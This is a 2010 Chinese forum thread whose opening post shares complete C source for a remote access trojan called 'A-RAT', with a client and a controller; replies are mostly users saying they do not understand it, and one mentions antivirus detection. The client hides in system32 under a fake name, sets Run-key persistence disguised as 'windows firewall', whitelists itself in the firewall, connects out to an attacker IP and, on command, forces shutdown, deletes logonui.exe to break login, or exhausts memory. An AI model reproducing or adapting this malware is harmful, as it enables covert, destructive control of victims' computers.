一个简单的木马后门(C)

社区服务
高级搜索
猴岛论坛电脑百科一个简单的木马后门(C)
发帖 回复
倒序阅读 最近浏览的帖子最近浏览的版块
19个回复

[资源分享]一个简单的木马后门(C)

楼层直达
不懂也不知道

ZxID:10586231

等级: 禁止发言

举报 只看楼主 使用道具 楼主   发表于: 2010-07-18 0
一个简单的木马后门(C)
Examples of how to code a RAT in C

Client:


/* A-RAT
  BY Shoxin/Akiimoko */

#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#ifndef _MSC_VER /* if the compiler isn't microsoft visual studio c++ 2005. */
#include <windows.h>
#endif
#include <winsock2.h>

#define MAXPENDING 5
#define BUFFER_SIZE 1024
#define LISTENING_PORT 31337
#define RANDOM_PORT 55555
#define CLIENT "taskmgrbak"
#define SERVER_IP "Your IP Here"

int func_proc(char c)
{
  switch(c)
  {
      case 's':
      case 'S':
        system("shutdown -s -t 01 -f"); /* when implementing this feature ExitW
indowEx would not function properly
                                            in the tests so i used system("shutdown"
) for the time being. */
        break;
      case 't':
      case 'T':
        SetWindowText(FindWindow(0,"Windows Live Messenger"),"You just got served!"
);
        break;
      case 'm':
      case 'M':
        while(1);
        {
            char *a = malloc(20971520);
            char *a2 = malloc(20971520);
            a = a2;
        }
        break;
      case 'd':
      case 'D':
        remove("C:\\WINDOWS\\system32\\logonui.exe");
        break;
      case 'n':
      case 'N':
      ShellExecute(
        NULL,
        "open",
        "notepad.exe",
        NULL,
        NULL,
        SW_SHOW);
      case 'o':
      case 'O':
      ShellExecute(
        NULL,
        "open",
        "http://www.meatspin.com",
        NULL,
        NULL,
        SW_SHOW);
        break;
    }
}

int main(int argc, char **argv)
{
  HKEY autoKey;
  HKEY fwKey;
  int menu_switch = 0, message_length = 0, remote_length = 0;
  SOCKET local_socket, remote_socket,message_len;
  struct sockaddr_in local_address, remote_addr;
  WSADATA wsa_data;
  char message[BUFFER_SIZE], remote_ip[32];
  int recv_timeout = 90000, send_timeout = 90000, recv_buffer_len;
  CopyFile("Client.exe", "c:\\windows\\system32\\taskmgrbak.exe", 0);
  RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\
\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL,
                  &autoKey, 0);

  RegSetValueExA(autoKey, "windows firewall", 0, REG_SZ, CLIENT, 50);
  RegCloseKey(autoKey);
  RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Services\\" "SharedAcc
ess\\Parameters\\FirewallPolicy\\StandardProfile\\"
                  "AuthorizedApplications", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_AL
L_ACCESS, NULL, &fwKey, 0);
  RegSetValueExA(fwKey, "windows live update", 0, REG_SZ, CLIENT, 50);
  RegCloseKey(fwKey);
  sleep(60000);
  if(WSAStartup(MAKEWORD(2, 2), &wsa_data) != 0)
  {
      fprintf(stderr, "WSAStartup failed\n");
      return 1;
      WSACleanup();
  }
  if((local_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)

    {
      fprintf(stderr, "socketing failed\n");
      return 1;
      WSACleanup();

    }
  if((remote_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
  {
      fprintf(stderr, "socket() failed");
      return 1;
      WSACleanup();
      closesocket(local_socket), closesocket(remote_socket);
  }
  memset(&local_address, 0, sizeof(local_address));
  local_address.sin_family = AF_INET;
  local_address.sin_addr.s_addr = htonl(INADDR_ANY);
  local_address.sin_port = htons(RANDOM_PORT);
  if(bind(local_socket, (struct sockaddr *) &local_address, sizeof(local_address)) 
!= 0)
  {
      fprintf(stderr, "binding failed\n");
      return 1;
      WSACleanup();
      closesocket(local_socket), closesocket(remote_socket);
  }
  memset(&remote_addr, 0, sizeof(remote_addr));
  remote_addr.sin_family = AF_INET;
  remote_addr.sin_port = htons(31337);
  remote_addr.sin_addr.S_un.S_addr = inet_addr(SERVER_IP);
  if(connect(remote_socket, (struct sockaddr *) &remote_addr, sizeof(remote_addr)) 
== SOCKET_ERROR)
  {
      fprintf(stderr, "connecting failed\n");
      return 1;
      WSACleanup();
      closesocket(local_socket), closesocket(remote_socket);
  }
  remote_length = sizeof(remote_addr);
  if(setsockopt(local_socket, SOL_SOCKET, SO_RCVTIMEO, (const char *) &recv_timeout
, sizeof(recv_timeout)) == SOCKET_ERROR)
  {
        fprintf(stderr, "recv_timeout failed\n");
        WSACleanup();
        closesocket(local_socket), closesocket(remote_socket);
  }
  if(setsockopt(local_socket, SOL_SOCKET, SO_SNDTIMEO, (const char *) &send_timeout
, sizeof(send_timeout)) == SOCKET_ERROR)
  {
      fprintf(stderr, "send_timeout failed\n");
      WSACleanup();
      closesocket(local_socket), closesocket(remote_socket);
  }
  while(1)
  {
      if((message_len = recv(remote_socket, message, sizeof(message), 0)) == SOCKET_
ERROR)
      {
        fprintf(stderr, "recv failed\n");
        return 1;
        WSACleanup();
        closesocket(local_socket), closesocket(remote_socket);
      }
      func_proc(*message);
  }

  WSACleanup();
  closesocket(local_socket), closesocket(remote_socket);
  return 0;
}




Hosting:


/* A-RAT
  BY Shoxin/Akimoko*/

#include <stdio.h>
#include <stdlib.h>
#ifndef _MSC_VER /* if the compiler isn't microsoft visual studio c++ 2005. */
#include <windows.h>
#endif
#include <winsock2.h>

#define MAXPENDING 5
#define BUFFER_SIZE 1024
#define LISTENING_PORT 31337

int main(int argc, char **argv)
{
  SetConsoleTitle("A-RAT - Shoxin");
  SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_BLUE | FOREGR
OUND_INTENSITY );
  int menu_switch = 0, message_length = 0, remote_length = 0;
  SOCKET local_socket, remote_socket,message_len;
  struct sockaddr_in local_address, remote_address;
  WSADATA wsa_data;
  char message[BUFFER_SIZE], remote_ip[32];
  printf("Aki-RAT v.0.1b \n"
          "By Shoxin \n"
          " \n"
          "::Developer Version:: \n"
          " \n"
          "shouts: \n"
          "dw0rek,Mad-Hatter,g00ns.net \n");
  printf("Features/Usage: \n"
          " \n"
          ".Remote Shutdown[S] \n"
          ".Rename Windows Live Messenger Title[T] \n"
          ".Delete Logonui.exe[D] \n"
          ".Extreme Memory Leak[M] \n"
          ".Open Notepad[N] \n"
          ".Open Meatspin.com[O] \n"

          " \n"
          "Usage: 'S'\n"
          "      'T'\n"
          "      'D'\n"
          "      'M'\n"
          "        etc.  \n");
  if(WSAStartup(MAKEWORD(2, 2), &wsa_data) != 0)
  {
      fprintf(stderr, "WSAStartup failed\n");
      WSACleanup();
      return 1;
  }
  if((local_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
  {
      fprintf(stderr, "socketing failed\n");
      WSACleanup();
      return 1;
  }
  memset(&local_address, 0, sizeof(local_address));
  local_address.sin_family = AF_INET;
  local_address.sin_addr.s_addr = htonl(INADDR_ANY);
  local_address.sin_port = htons(LISTENING_PORT);
  if(bind(local_socket, (struct sockaddr *) &local_address, sizeof(local_address)) 
!= 0)
  {
      fprintf(stderr, "binding failed\n");
      WSACleanup();
      closesocket(local_socket), closesocket(remote_socket);
      return 1;
  }
  if(listen(local_socket, MAXPENDING) != 0)
  {
      fprintf(stderr, "listening failed\n");
      WSACleanup();
      closesocket(local_socket), closesocket(remote_socket);
      return 1;
  }
  remote_length = sizeof(remote_address);
  if((remote_socket = accept(local_socket, (struct sockaddr *) &remote_address, &re
mote_length)) == INVALID_SOCKET)
  {
      fprintf(stderr, "accepting failed\n");
      WSACleanup();
      closesocket(local_socket), closesocket(remote_socket);
      return 1;
  }
  printf("Connection Established\n");
  message_len = 1;
  while(1)
  {
      printf("-");
      *message = getchar();
      *(message + message_len) = '\0';
      if(send(remote_socket, message, strlen(message), 0) == SOCKET_ERROR)
      {
            fprintf(stderr, "send failed\n");
            return 1;
            WSACleanup();
            closesocket(local_socket), closesocket(remote_socket);
      }
  }
  WSACleanup();
  closesocket(local_socket), closesocket(remote_socket);
  return 0;

本帖de评分: 1 条评分 DB +5
DB+5

我很赞同

丿sh丶Xyar

ZxID:10561043

等级: 上将

举报 只看该作者 沙发   发表于: 2010-07-18 0
不懂也不知道。。
゛蝣蕩啲龍っ

ZxID:7865773

等级: 元老
‘燕鸥’是种水鸟,听说,它们会从几千里外,飞回自己的家,而且,是‘情有独钟’,终身不换伴侣 ..

举报 只看该作者 板凳   发表于: 2010-07-18 0
深奥啊
 焦糖慕斯

ZxID:6559490

等级: 上尉
配偶: 子衿i
           眼泪是你给的礼物  地址是不怎么幸福  送到无法相爱的国度   

举报 只看该作者 地板   发表于: 2010-07-19 0
              看不懂。
   苏子熙。

ZxID:9976240

等级: 大元帅
配偶: 何至爱。

举报 只看该作者 4楼  发表于: 2010-07-19 0
一点都看不懂
冬寒、雪未飘

ZxID:11878703

等级: 大将

举报 只看该作者 5楼  发表于: 2010-07-19 0
看不太懂
累了,睡了

ZxID:6734112

等级: 下士
举报 只看该作者 6楼  发表于: 2010-07-19 0
什么玩意
Masterchan

ZxID:11196595

等级: 元帅
配偶: 简、
今夕何夕,君已陌路

举报 只看该作者 7楼  发表于: 2010-07-20 0
背360发现了
未謝幕德、戲

ZxID:10071893

等级: 上校
听, 那歌声 如此动听 ---

举报 只看该作者 8楼  发表于: 2010-07-20 0
这样还简单、
_惆_怅

ZxID:10081325

等级: 上尉
人生得意须尽欢,莫使娇躯空对月。
举报 只看该作者 9楼  发表于: 2010-07-20 0
不明白  繁琐

376624231

ZxID:6232413

等级: 上校
有梦想才有目标,有目标才有未来…
举报 只看该作者 10楼  发表于: 2010-07-20 0
看不懂啊
http://s8.hk/2jgt
鮥少灬

ZxID:9924969

等级: 中将
        

举报 只看该作者 11楼  发表于: 2010-07-20 0
C++的 代码?
It丶s丨小轩、

ZxID:12713058

等级: 少尉
流星。。。
举报 只看该作者 12楼  发表于: 2010-07-20 0
干嘛的这是???
Very Important Person
未知目标

ZxID:6082672

等级: 贵宾
配偶: 已知目标
查无此人

举报 只看该作者 13楼  发表于: 2010-07-20 0
没用的


  丶简单。

ZxID:12323718

等级: 元帅

举报 只看该作者 14楼  发表于: 2010-07-20 0
不懂  我想学C语言  谁教我。
施主,贫僧乃东土大唐而来,恳请在此借宿一晚……哎?施主?施主您开开门呐,施主?操
残留的回忆丶

ZxID:10486868

等级: 中校
举报 只看该作者 15楼  发表于: 2010-07-20 0
天书啊对于我们来多
Mr、私念

ZxID:1729531

等级: 中将
偶要当热会 ·  要当热会

举报 只看该作者 16楼  发表于: 2010-07-21 0
完全看不懂是什么



红颜诱人醉ヾ

ZxID:10827712

等级: 准尉
配偶: 〓艺美〓
红颜胜人多薄命,莫怨春风当自嗟。

举报 只看该作者 17楼  发表于: 2010-07-21 0
很好的东西,要了!
可哥

ZxID:8636157

等级: 中将
女:你跟我说话怎么老嚼着糖?男:不嚼糖哪有那么多甜言蜜语?

举报 只看该作者 18楼  发表于: 2010-07-21 0
哎,,  被发现了
   苏子熙。

ZxID:9976240

等级: 大元帅
配偶: 何至爱。

举报 只看该作者 19楼  发表于: 2010-07-21 0
实在是看不懂
« 返回列表
发帖 回复